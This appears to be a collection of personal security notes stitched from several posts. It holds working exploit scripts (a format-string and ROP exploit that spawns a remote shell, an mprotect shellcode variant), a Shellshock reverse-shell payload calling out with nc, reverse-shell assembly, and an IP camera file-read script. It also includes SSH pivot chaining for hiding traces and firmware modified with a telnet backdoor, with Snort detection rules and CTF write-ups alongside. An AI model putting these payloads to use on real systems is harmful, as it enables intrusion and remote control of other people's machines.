              ('%%%dc'    % what_b1        ) + \
              ('%%%d$hhn' % (init + 1)     ) + \
              ('%%%dc'    % what_b2        ) + \
              ('%%%d$hhn' % (init + 2)     ) + \
              ('%%%dc'    % what_b3        ) + \
              ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
inc_eax = 0x806d6ff
inc_ecx = 0x80c7a5c
int_0x80 = 0x8061240
mov_dword_ptr_edx_eax = 0x808a73d
pop_eax = 0x80ced61
pop_ebx = 0x804d106
#0x80cf077: pop ecx; or cl,byte ptr [esi]; or al,0x43; ret
pop_ecx = 0x80cf077
#0x8083fc6: pop edx; or eax,0x89c08508; ret
pop_edx = 0x8083fc6
pop_esi = 0x80499f5
xor_eax_eax = 0x80551c0

dup2_syscall = 0x3f
fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

# ropchain = dup2(fd, 0) + dup2(fd, 1) + dup2(fd, 2) + execve('/bin/sh', 0, 0)

ropchain =    struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', fd) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_eax) + \
              '/bin' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 4) + \
              struct.pack('<I', pop_eax) + \
              '//sh' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_esi) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ecx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
\
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', inc_eax) * 11 + \
\
              struct.pack('<I', int_0x80)

shellcode =   struct.pack('<I', add_esp_0x3c) + \
              fs + \
              padding + \
              ropchain

c.send(shellcode + '\n')

command = ''
while command[:-1] != 'exit':
       print '> ',
       sys.stdout.flush()
       command = sys.stdin.readline()
       c.send(command)
       sys.stdout.write(c.recv(1024))

c.close()
# ./exploit.py 127.0.0.1 7070 0xbffff59c
>

Another solution using mprotect (based on @esanfelix exploit)

# ./search_instructions.py /eXPLicit/explicit mov+eax,0x3 int+0x80 # read
 805ef57: b8 03 00 00 00        mov    eax,0x3
 805ef5c: cd 80                 int    0x80

 805ef7e: b8 03 00 00 00        mov    eax,0x3
 805ef83: cd 80                 int    0x80

 8082a07: b8 36 00 00 00        mov    eax,0x36
 8082a0c: cd 80                 int    0x80
# ./search_instructions.py /eXPLicit/explicit mov+eax,0x7d int+0x80 # mprotect
 805fa3d: b8 7d 00 00 00        mov    eax,0x7d
 805fa42: cd 80                 int    0x80

# gdb -q explicit
(gdb) x/10i 0x805ef4a
   0x805ef4a: push   ebx
   0x805ef4b: mov    edx,DWORD PTR [esp+0x10]
   0x805ef4f: mov    ecx,DWORD PTR [esp+0xc]
   0x805ef53: mov    ebx,DWORD PTR [esp+0x8]
   0x805ef57: mov    eax,0x3
   0x805ef5c: int    0x80
   0x805ef5e: pop    ebx
   0x805ef5f: cmp    eax,0xfffff001
   0x805ef64: jae    0x8062270
   0x805ef6a: ret
(gdb) x/10i 0x805fa30
   0x805fa30: push   ebx
   0x805fa31: mov    edx,DWORD PTR [esp+0x10]
   0x805fa35: mov    ecx,DWORD PTR [esp+0xc]
   0x805fa39: mov    ebx,DWORD PTR [esp+0x8]
   0x805fa3d: mov    eax,0x7d
   0x805fa42: int    0x80
   0x805fa44: pop    ebx
   0x805fa45: cmp    eax,0xfffff001
   0x805fa4a: jae    0x8062270
   0x805fa50: ret

# ./search_instructions.py /eXPLicit/explicit pop pop pop ret
 8048218: 5e                    pop    esi
 8048219: 5f                    pop    edi
 804821a: 5d                    pop    ebp
 804821b: c3                    ret
# cat exploit-mprotect.py 
#!/usr/bin/env python

import socket
import struct
import sys
import time

def whatoffset(what, offset):
 while what <= offset:
  what += 0x100
 what -= offset
 return what, what + offset

def fs_4writes(what, where, offset, init):
 mask     = 0xff
 offset   = 16 + offset # 4 bytes * 4 addr + offset
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, offset = whatoffset(what_b0, offset)
 what_b1, offset = whatoffset(what_b1, offset)
 what_b2, offset = whatoffset(what_b2, offset)
 what_b3, offset = whatoffset(what_b3, offset)

 return struct.pack('<I', where      ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0        ) + \
  ('%%%d$hhn' % init           ) + \
  ('%%%dc'    % what_b1        ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2        ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3        ) + \
  ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
mprotect = 0x805fa30
page_size = 0x1000
page_aligned = bss & ~(page_size - 1)
pop_pop_pop_ret = 0x8048218
prot = 0x4 # [x]wr
read = 0x805ef4a

fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

dup2   = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3" + struct.pack('B', fd) + "\xcd\x80\x75\xf6"
execve = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xb0\x0b\xcd\x80"

shellcode_s2 = dup2 + execve

count = len(shellcode_s2) + 1

# ropchain = read(fd, bss, len(shellcode_s2)) + mprotect(page_aligned, page_size, prot)

ropchain = struct.pack('<I', read) + \
  struct.pack('<I', pop_pop_pop_ret) + \
  struct.pack('<I', fd) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', count) + \
\
  struct.pack('<I', mprotect) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', page_aligned) + \
  struct.pack('<I', page_size) + \
  struct.pack('<I', prot)

shellcode_s1 = struct.pack('<I', add_esp_0x3c) + \
  fs + \
  padding + \
  ropchain

c.send(shellcode_s1 + '\n')
time.sleep(0.2)
c.send(shellcode_s2 + '\n')

command = ''
while command[:-1] != 'exit':
 print '> ',
 sys.stdout.flush()
 command = sys.stdin.readline()
 c.send(command)
 sys.stdout.write(c.recv(1024))

c.close()
# ./exploit-mprotect.py 127.0.0.1 7070 0xbffff59c
>

# CVE-2014-6271: Bash shellshock


Reverse shell PoC

- Vulnerable server

# a2enmod cgi
# sed -i 's/#Include conf-available\/serve-cgi-bin.conf/Include conf-available\/serve-cgi-bin.conf/' /etc/apache2/sites-available/000-default.conf
# service apache2 restart
# cat /usr/lib/cgi-bin/env.sh
#!/bin/bash

echo 'Content-type: text/html'
echo ''

echo '<html>'
echo '<head>'
echo '<title>cve-2014-6271</title>'
echo '</head>'
echo '<body>'
echo '<pre>'

/usr/bin/env

echo '</pre>'
echo '</body>'
echo '</hmtl>'

- Client

# ip="192.168.1.1"
# nc -v --listen $ip --port=1234
# ip="192.168.1.1"
# payload="() { :; }; /bin/bash -c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip 1234 > /tmp/f'"
# url="http://192.168.1.2/cgi-bin/env.sh"
# curl --verbose --user-agent "$payload" --referer "$payload" $url
nc: connect to 192.168.1.1 1234 from 192.168.1.2
$

Scripts

# cat cve-2014-6271-cmd
#!/bin/bash

#https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

proto="$1"
host="$2"
port="$3"
path="$4"
cmd="$5"

if [ "$proto" == "https" ]; then
        insecure='--insecure'
else
        insecure=''
fi

url="$proto://$host:$port/$path"

payload="() { :; }; echo -e '\\r\\n'; $cmd 2>&1"

curl $insecure --verbose --user-agent "$payload" --referer "$payload" $url

# ./cve-2014-6271-cmd http 127.0.0.1 1580 cgi-bin/env.sh '/bin/uname -a'

Metasploit modules

msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf > use exploits/multi/http/apache_mod_cgi_bash_env_exec

# Reverse TCP bind shell setting source port


SERVER# cat sc.asm 
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; bind(sockfd,[2,4321,0],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx                 ; ebx=0x00000002 (bind)
push edx                ; edx=0x00000000 (Any available source IP)
push word 0xe110        ; source port = 4321
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
int 0x80                ; system call
; connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; connect(sockfd,[2,1234,127.0.0.1],16)
push byte 0x66          ; socketcall number (102)
pop eax
push dword 0x01bbbb7f   ; 127.187.187.1
xor ecx,ecx
mov word [esp+1],cx     ; destination ip = 127.0.0.1
push word 0xd204        ; destination port = 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
inc ebx                 ; ebx=0x00000003 (connect)
int 0x80                ; system call
xchg ebx,esi
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call

SERVER# nasm -f elf sc.asm && ld -o sc sc.o
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./sc

Connection from [127.0.0.1] port 1234 [tcp/*] accepted (family 2, sport 4321)
hostname
SERVER
exit
CLIENT#

# WAP Challenge 14: HTTP Traffic File Carving


# url='http://videos.pentesteracademy.com.s3.amazonaws.com/videos/wap-challenges/http-forensics2.pcap'
# wget --quiet --output-document=http-forensics2.pcapng $url
# editcap -F libpcap -T ether http-forensics2.pcapng http-forensics2.pcap
# tshark -nr http-forensics2.pcap | grep octet
 15   9.678371 192.168.1.13 -> 67.159.60.66 HTTP 1155 POST /upload_fileapi.php?3529945644=0&file=0&startpos=0&r=0.5286034531386509 HTTP/1.1  (application/octet-stream)
 63  27.056300 192.168.1.13 -> 67.159.60.61 HTTP 1161 POST /upload_fileapi.php?7792025787=0&file=0&startpos=0&r=0.3998272621670734 HTTP/1.1  (application/octet-stream)
116  46.865880 192.168.1.13 -> 67.159.60.29 HTTP 1161 POST /upload_fileapi.php?4000038131=0&file=0&startpos=0&r=0.9503461291640495 HTTP/1.1  (application/octet-stream)
182  67.593167 192.168.1.13 -> 84.39.117.75 HTTP 1160 POST /upload_fileapi.php?5200689443=0&file=0&startpos=0&r=0.02202681328946554 HTTP/1.1  (application/octet-stream)
# cat solution.py
#!/usr/bin/python

import itertools
import scapy.all as scapy
import zipfile
import os 

pcap = scapy.rdpcap("http-forensics2.pcap")
zip = []

for frame in pcap:
    if 'octet-stream' in frame[scapy.Raw].load:
        zip.append(frame[scapy.Raw].load.split('\r\n')[-3])

i = 0

perms = itertools.permutations(zip, len(zip))
for p in perms:
 zfn = str(i) + '.zip'
 zf = open(zfn, 'wb')
 for ostream in p: 
  zf.write(ostream)
 zf.close()
 if zipfile.is_zipfile(zfn):
  try:
   zf = zipfile.ZipFile(zfn, 'r')
   zf.extractall()
   print zf.namelist()
   os.exit()
  except:
   os.remove(zfn)
   pass
  i += 1
# ./solution.py
['split-file/', 'split-file/pass']
# cat split-file/pass
12wsdqwe32109

# Flashing WVC54GCA with a custom firmware


# file /sbin/init
/sbin/init: ELF 32-bit LSB  shared object, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=c394677bccc720a3bb4f4c42a48e008ff33e39b1, stripped
# cat /etc/lsb-release | grep DESC
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
# mkdir wvc54gca
# cd wvc54gca
# wget http://downloads.linksysbycisco.com/downloads/wvc54gca_v1.00R24.tgz
# tar xvzf wvc54gca_v1.00R24.tgz
# md5sum wvc54gca_v1.00R24.tgz
26475f583a55acf515d90d9c0340899d  wvc54gca_v1.00R24.tgz
# apt-get install autotools-dev libncurses5-dev
# rm /bin/sh
# ln -s /bin/bash /bin/sh
# cd source
# cat README
# cat src/rootfs/etc/init.d/rcS
# echo -e "\n# ---- Start Telnet Server (debug) ---- #\n/usr/sbin/telnetd &" >> src/rootfs/etc/init.d/rcS
# cat src/rootfs/etc/passwd 
root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh
# openssl passwd -crypt toor
TEcqq4feRqPLA
# sed -i 's/9szj4G6pgOGeA/TEcqq4feRqPLA/' src/rootfs/etc/passwd
# ./makeall
# file FW/WVC54GCA.bin
FW/WVC54GCA.bin: data

# Timelapse with WVC54GCA (Linksys IP camera)


Video stream (no audio)

# vlc http://192.168.1.10/img/mjpeg.cgi
# vlc http://192.168.1.10/img/video.mjpeg
# vlc rtsp://192.168.1.10/img/video.sav

Video stream (audio)

# vlc http://192.168.1.10/img/video.asf

Snapshot

# wget --quiet --output-document=image.jpg 'http://192.168.1.10/img/mobile.cgi'
# wget --quiet --output-document=image.jpg 'http://192.168.1.10/img/snapshot.cgi?size=X&quality=Y'

- Size:
1 = 160×128
2 = 320×240
3 = 640×480

- Quality:
1 = Very high
2 = High
3 = Normal
4 = Low
5 = Very low

Timelapse

# cat timelapse.sh 
#!/bin/bash

action="$1"

if [ "$action" == "run" ]; then
 screen -dmS timelapse /bin/bash
"       screen -S timelapse -p 0 -X stuff "/root/timelapse/timelapse.sh take_pictures
 exit
fi

dir="/var/timelapse/jpg"

if [ "$action" == "take_pictures" ]; then
 camip="192.168.1.10"
 size="3"
 quality="1"
 url="http://$camip/img/snapshot.cgi?size=$size&quality=$quality"

 function getcol {
  echo $1 | awk -v c=$3 -F "$2" '{print $c}'
 }

 while `sleep 1`; do 
  date="`date +%u:%T`"
  second=`getcol "$date" ":" "4"`
  if [ "$second" == "00" ] || [ "$second" == "30" ]; then
   day=`getcol "$date" ":" "1"`
   hour=`getcol "$date" ":" "2"`
   minute=`getcol "$date" ":" "3"`
   od="$day-$hour$minute$second.jpg"
   wget --quiet --output-document=$dir/$od $url
  fi
 done
 exit
fi

if [ "$action" == "make_video" ]; then
 list="snapshots.list"
 vid="video.avi"
 if [ -f "$vid" ]; then
  timestamp=`date +%Y%m%d%H%M%S`
  vid="$vid-$timestamp"
 fi
 find $dir > $list
 mencoder "mf://$dir/*.jpg" -mf fps=7 -nosound -noskip -ovc copy -o $vid 
 rm $list
fi
# ./timelapse.sh run
# ./timelapse.sh make_video

Bonus

# cat cam.sh
#!/bin/bash

user="admin"
pass="1234"
ip="192.168.1.10"

action="$1"

if [ "$action" == "cat" ]; then
 file=`echo "$2" | sed -e 's/\./%2e/g' -e 's/\//%2f/g'`
 # http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/
 curl --silent -u $user:$pass "http://$ip/adm/file.cgi?next_file=$file"
 exit
fi

if [ "$action" == "reboot" ]; then
 curl --silent -u $user:$pass "http://$ip/adm/reboot.cgi"
 exit
fi

if [ "$action" == "video" ]; then
 vlc "http://$ip/img/video.asf"
 exit
fi

# Snort rule structure and syntax


Overview

A rule is a specified set of keywords and arguments used as matching criteria to identify security policy violations.
The engine compares packets against the conditions specified in each rule.
If the packet data matches all the conditions specified in a rule, the rule is triggered.
The action field in the rule specifies what should be done next.
Rules contain two logical sections: the rule header and the rule body.

The rule header

Identifies how to match traffic based on the following criteria:

- Action
- Protocol
- Source IP
- Source port
- Operator
- Destination IP
- Destination port

Example:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
Note the usage of variables. Makes rule management easier.

Action

The following actions are available in IDS mode:

- alert: Log the event and send an alert message to the output component.
- pass: Ignore the packet.

When your installation is deployed inline:

- Generate Events: Issues console alerts.
- Drop & Generate Events: Block and alert.
- Disabled: Prevents the rule from being enforced thus saving processing cycles.

Protocol

The following protocols are supported:

- TCP
- UDP
- ICMP
- IP

Source and Destination IPs

In all cases, the best practice is to use variables.
The system recognizes only IP addresses and will not accept hostnames.
You cand specify:

- Any IP address, using the keyword 'any'.
- A single IP address.
- A list of IP addresses [192.168.1.1, 192.168.1.5].
- A range of IP addresses 192.168.1.0/24.
- The negation of IP addresses !192.168.1.10.
- A variable previously defined in the snort.conf file.

Source and Destination Ports

You cand specify:

- Any port, using the keyword 'any'.
- A single port.
- A list of ports [21, 23, 80-90]
- A range of ports 80-443.
- The negation of ports !80
- A variable previously defined in the snort.conf file.

Operator: specifying direction

To indicate that a rule triggers against traffic:

- From the source IP to the destination IP, use the directional operator '->'.
- Between the source IP and the destination IP, use the bi-directional operator '<>'.

The rule body

This is where you can specifically drill into a packet and get the content that actually signals malicious or suspicious activity.
The entire body is enclosed in parentheses.
Rule options end in a semicolon (;).
An option is structured as a keyword followed by a colon (:), followed by one or multiple arguments. Arguments are separated by commas (,).
For example: tag:session, 30, seconds;
Options that act on content, apply on the previous argument string of the previous content keyword.
For example: content:"root"; nocase;
A rule can contain multiple content references. They are treated as an AND operation.
For example: content:"username:"; nocase; content:"password:"; nocase;

Defining the event message
alert tcp any any -> $HOME_NET 23 \
(msg:"Suspicious Telnet!";
content:"root"; nocase; \
sid:1000000;)
Content Matches

You can mix hexadecimal content and ASCII content.
content:"|90 90 90 E8 C0 FF FF FF|/bin/sh";
You can also negate or exclude content.
content:!"GET";

Constraining content matches

- nocase: To ignore the case in ASCII strings.
- offset: Allows you to specify where the detection engine should start searching for content within a packet (bytes).
- depth: The maximum search depth (bytes) from the offset value.
- distance: The detection engine starts searching for content matches after the specified number of bytes from the previous content match.
- within: The next content match must occur within the specified number of bytes after the end of the last content match including the distance value.

Server flow

- to_client or from_server: Triggers on server responses.
- to_server or from_client: Triggers on client responses.
- established: Triggers on established TCP connections.
- stateless: Triggers regardless of the state of the stream processor.
- no_stream: Does not trigger on rebuilt stream packets.
- only_stream: Triggers only on rebuilt stream packets.

Snort ID option

Snort rules all have unique ID numbers.
Custom rules should you a number greater than 1000000.

Rule revision number

Lets you assign a revision number to a rule that you have edited.

Metadata

This is a required option for rules in the Sourcefire system.
You can embed additional information about a rule which other parts of the Snort engine can use.
For example:
metadata:service http;
metadata:impact_flag red;

Flags

To check if TCP flags are present:

F: FIN
S: SYN
R: RST
P: PSH
A: ACK
U: URG
1: Reserved bit 1
2: Reserved bit 2
0: No flags set

Use the following modifies to change the match criteria:

+: Match on the specified bits plus any others.
*: Match if any of the specified bits are set.
!: Match if the specified bits are not set.

flags:[!|*|+]<FSRPAU120>[,<FSRPAU120>]

The optional parameter indicates the flag bits you wish to ignore.

file_data

Sets the cursor used for detection to one of the following buffers:

- When traffic is HTTP:

1. HTTP response body, without chunking/compression/normalization.
2. HTTP de-chunked response body.
3. HTTP normalized response body, when normalized javascript is turned on.
4. HTTP UTF normalized response body, when normalized utf is turned on.
5. All of the above.

- When traffic is SMTP/POP/IMAP:

1. SMTP/POP/IMAP data body, including email headers and MIME when decoding is turned off.
2. Base64 decoded MIME attachment, when b64_decode_depth is greater than -1.
3. Non-Encoded MIME attachment, when bitenc_decode_depth is greater than -1.
4. Quoted-Printable decoded MIME attachment, when qp_decode_depth is greater than -1.
5. Unix-to-unix decoded attachment, when uu_decode_depth is greater than -1.

detection_filter

Replaces the threshold keyword in a rule.
It defines a rate which must be exceeded by source/destination before a rule can generate an event.
Is evaluated as part of the detection phase, just after pattern matching.

Parameters:

- track by_src or track by_dst.
- count: the number of events.
- seconds: the time over which the count is measured.

For example:

detection_filter: track by_src, count 10, seconds 30;

The alert will trigger after 10 events are seen from each unique source IP within 30 seconds.

fast_pattern

By default, the longest content statement for each rule is placed into the fast pattern matching engine.
Only if this string is found in a packet, the remaining options in the rule are evaluated.
However, you have the ability to control which piece of content gets placed into the fast pattern matching engine with the fast_pattern rule option.

content:"jumanji"; fast_pattern;

fast_pattern:only: the content should only be used for fast pattern matcher and not evaluated as a content rule option.
fast_pattern:<offset>,<length>: specify where the fast pattern matcher should look for the content.

flowbits

This rule option is used to set tags which can be referenced in subsequent rules.

Parameters:

- set: sets the specified state for the current flow.
- setx: sets the specified state exclusively.
- unset: unsets the specified states.
- toggle: inverts the specified state.
- isset: checks if the specified state is set.
- isnotset
- noalert: intructs to not generate an alert, regardless of the detection options.
- reset: resets the states on a given flow.

flowbits: [set|setx|unset|toggle|isset,isnotset,noalert,reset][,state_name][,group_name]

- state_name: the name that will be referred to in other rules when testing the flowbit.
- group_name: is used to associate multiple flowbits together.

byte_jump/test/extract

Gives the ability to seek information within a packet payload where the location of content is not necessarily known but can be obtained.

- byte_jump: moves the inspection pointer a number of bytes forward.
- byte_test: reads bytes and determine if they are less than, greater than, equal or not equal to a specified value.
- byte_extract: reads bytes and create a variable that represents this value.

Case #1: Malformed GIF overflow

alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any \
(msg:"FILE-IDENTIFY GIF file magic detected"; \
flow:to_client, established; \
file_data; \
content:"GIF8"; depth:4; fast_pattern; \
content:"a"; within:1; distance:1; \
flowbits:set,file.gif; flowbits:noalert; \
metadata:service http, service imap, service pop3; \
classtype:misc-activity; \
sid:20459; rev:8;)

file_data;, the search for this content starts at the beginning of the file buffer not the payload.
flowbits:set,file.gif;, the file.gif flowbit is set.
metadata:service http, service imap, service pop3;, using the Adaptive Profiles feature the rule is still being enforced even though the $FILE_DATA_PORTS variable does not include non-standard ports.

alert tcp $EXTERNAL_NET $FILE_DATA_PORTS -> $HOME_NET any \
(msg:"FILE-IMAGE Oracle Java Virtual Machine malformed GIF buffer overflow attempt"; \
flow:to_client,established; \
flowbits:isset,file.gif; \
file_data; \
content:"GIF"; \
byte_test:1,!&,128,7,relative; \
content:","; within:1; distance:10; \
content:"|00 00|"; within:2; distance:4; \
metadata:policy security-ips drop, service http, service imap, service pop3; \
reference:bugtraq,22085; reference:cve,2007-0243; \
classtype:attempted-user; \
sid:10062; rev:9;)

flowbits:isset,file.gif;, checks if the file.gif flowbit is set.
byte_test:1,!&,128,7,relative;, reads 1 byte at a location 7 bytes away from the DOE's pointer current location. DOE means Detect Offset End. The byte_test returns True if the logical AND between the byte and the mask (10000000b ~ 128d) is equal to 00000000b ~ False => !(False) = True. After this operation, the DOE pointer remains in the same position.
content:","; within:1; distance:10;, from the "GIF" match, after 10 bytes and within 1 byte, the value should be a comma.
content:"|00 00|"; within:2; distance:4;, from the "," match, after 4 bytes and within 2 bytes, the value should be 0x00 0x00.

Case #2: Windows Help Center escape sequence vulnerability

alert  tcp $EXTERNAL_NET $HTTP_PORTS -> $HOME_NET any \
(msg:"OS_WINDOWS Microsoft Windows Help Center escape sequence XSS attempt"; \
flow:to_client,established; \
file_data; \
content:"hcp|3A 2F 2F|"; nocase; \
content:"script"; distance:0; nocase; \
content:"defer"; distance:0; nocase; \
pcre:"/hcp\x3a\x2f\x2f[^\n]*(\x3c|\x253c)script(\s|\x2520|\x2f)+defer/iO"; \
metadata:policy balanced-ips drop, policy security-ips drop, service http; \
reference:bugtraq,40725; \
reference:cve,2010-1885; \
reference:url,osvdb.org/show/osvdb/65264; \
reference:url,www.microsoft.com/technet/security/bulletin/MS10-042.mspx; \
classtype:attempted-user; \
sid:16665; rev:5;)

The distance:0 without a within, is simply telling the content match has to occur after the previous match, regardless where in the packet.
The use of three content matches before the pcre evaluation speeds up the rule.
hcp\x3a\x2f\x2f[^\n]*, search for hcp:// before no "new lines" characters until the next regex match.
(\x3c|\x253c)script, search for a "<" or a "%3c" before the "script" word.
(\s|\x2520|\x2f)+defer, search for at least one "whitespace" (space, tab, newline, formfeed, linebreak, ...) or a "%20" or a "/", before the "refer" word.
iO, two modifiers; i means case-insensitive and O forces to evaluate the regex, even if it is taking too long.

Case #3: The Kaminsky DNS vulnerability

alert udp $EXTERNAL_NET 53 -> $HOME_NET any \
(msg:"PROTOCOL-DNS large number of NXDOMAIN replies - possible DNS cache poisoning"; \
byte_test:1,&,2,3; \
byte_test:1,&,1,3; \ 
byte_test:1,&,128,2; \
detection_filter:track by_src, count 1200, seconds 30; \
metadata:service dns; \
reference:cve,2008-1447; \
reference:cve,2009-0233; \
reference:url,technet.microsoft.com/en-us/security/bulletin/MS09-008; \
reference:url,www.kb.cert.org/vuls/id/800113; \
classtype:misc-attack; \
sid:13948; rev:10;)

byte_test:1,&,2,3;, reads 1 byte at a location 3 bytes away and returns True if the logical AND between the byte and the mask (00000010b ~ 2d) is not equal to 0.
byte_test:1,&,1,3;, reads the previous byte again and returns True if the logical AND between the byte and the mask (00000001b ~ 1d) is not equal to 0.
byte_test:1,&,128,2;, reads 1 byte at a location 2 bytes away and returns True if the logical AND between the byte and the mask (10000000b ~ 128d) is not equal to 0.
detection_filter:track by_src, count 1200, seconds 30;, sets the threshold that must be met in order for the rule to trigger.

Case #4: The content option for overflow detection

alert tcp $EXTERNAL_NET any -> $HOME_NET 4000 \
(msg:"SERVER-OTHER Alt-N SecurityGateway username buffer overflow attempt"; \
flow:to_server, established; \
content:"username=",nocase; \
isdataat:450,relative; \
content:!"|3B|"; within:450; \
content:!"|3A|"; within:450; \
content:!"&"; within:450; \
content:!"|0A|"; within:450; \
metadata:service http;\
policy connectivity-ips drop, policy security-ips drop; \
reference:cve,2008-4193; reference:url,secunia.com/advisories/30497/; \
classtype:attempted-admin; \
sid:13916; rev:9;)

isdataat:450,relative;, verifies if there is 450 bytes after the end of the "username=" string.
Next, the engine verifies there is not a colon, semicolon, ampersand and linefeed within 450 bytes of the end of the "username=" string.

References

http://manual.snort.org

# Pivoting with SSH port forwarding


# cat traceraser 
#!/bin/bash

localhost="127.0.0.1"

declare -A pivotA
pivotA[ip]="1.1.1.1"
pivotA[user]="userA"

declare -A pivotB
pivotB[ip]="2.2.2.2"
pivotB[user]="userB"

declare -A pivotC
pivotC[ip]="3.3.3.3"
pivotC[user]="userC"

declare -A pivotD
pivotD[ip]="4.4.4.4"
pivotD[user]="userD"

declare -A Destination
Destination[ip]="5.5.5.5"
Destination[user]="UserDest"

#echo "||||||||||||"
#echo "TOR Cloud"
echo " ||||||||||"
echo "Pivot ${pivotA[ip]}"
#usewithtor ssh ...  Only in the first hop
ssh -L $localhost:6661:${pivotB[ip]}:22 -f -N -p 22   ${pivotA[user]}@${pivotA[ip]}
echo "  ||||||||"
echo "Pivot ${pivotB[ip]}"
ssh -L $localhost:6662:${pivotC[ip]}:22 -f -N -p 6661 ${pivotB[user]}@$localhost
echo "   ||||||"
echo "Pivot ${pivotC[ip]}"
ssh -L $localhost:6663:${pivotD[ip]}:22 -f -N -p 6662 ${pivotC[user]}@$localhost
echo "    ||||"
echo "Pivot ${pivotD[ip]}"
ssh -D 1080                             -f -N -p 6663 ${pivotD[user]}@$localhost
echo "     ||"
echo "Destination ${Destination[ip]}"
tsocks ssh -p 22 ${Destination[user]}@${Destination[ip]}
killall ssh
# ./traceraser.sh
 ||||||||||
Pivot 1.1.1.1
  ||||||||
Pivot 2.2.2.2
   ||||||
Pivot 3.3.3.3
    ||||
Pivot 4.4.4.4
     ||
Destination 5.5.5.5
UserDest@5.5.5.5's password:

# SecuInside CTF Quals 2k14: Reversing - yayaya (100 points)


# xdotool getmouselocation
# while [ True ]; do import -window root -delay 0 -crop 400x388-0+112 `date +%d%m%y%H%M%S`-$RANDOM.png; sleep 0.1; done
# cat blend-point.py
from PIL import Image
from glob import glob

i2 = None

for f in glob('*.png'):
    i1 = Image.open(f).point(lambda i: 255 if i > 0 else i)
    if i2 is None:
    i2 = i1
    i2 = Image.blend(i1, i2, 0.5).point(lambda i: 255 if i > 0 else i)

#i2.show()
i2.save('result.png')
# convert -crop 330x70+0+0 result.png flag.png
# xxd -p flag.png | tr -d '\n'
